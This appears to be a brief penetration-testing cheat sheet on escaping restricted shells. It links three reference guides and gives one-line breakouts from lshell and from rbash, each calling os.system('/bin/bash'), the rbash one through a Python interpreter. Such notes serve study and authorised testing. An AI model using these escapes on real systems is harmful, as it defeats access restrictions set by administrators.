Limited Shell Escape

Ways to escape limited shells.

https://www.aldeid.com/wiki/Lshell https://vk9-sec.com/linux-restricted-shell-bypass/ https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf

lshell

$ echo os.system('/bin/bash')

rbash

python
>>import os;
>>os.system("/bin/bash");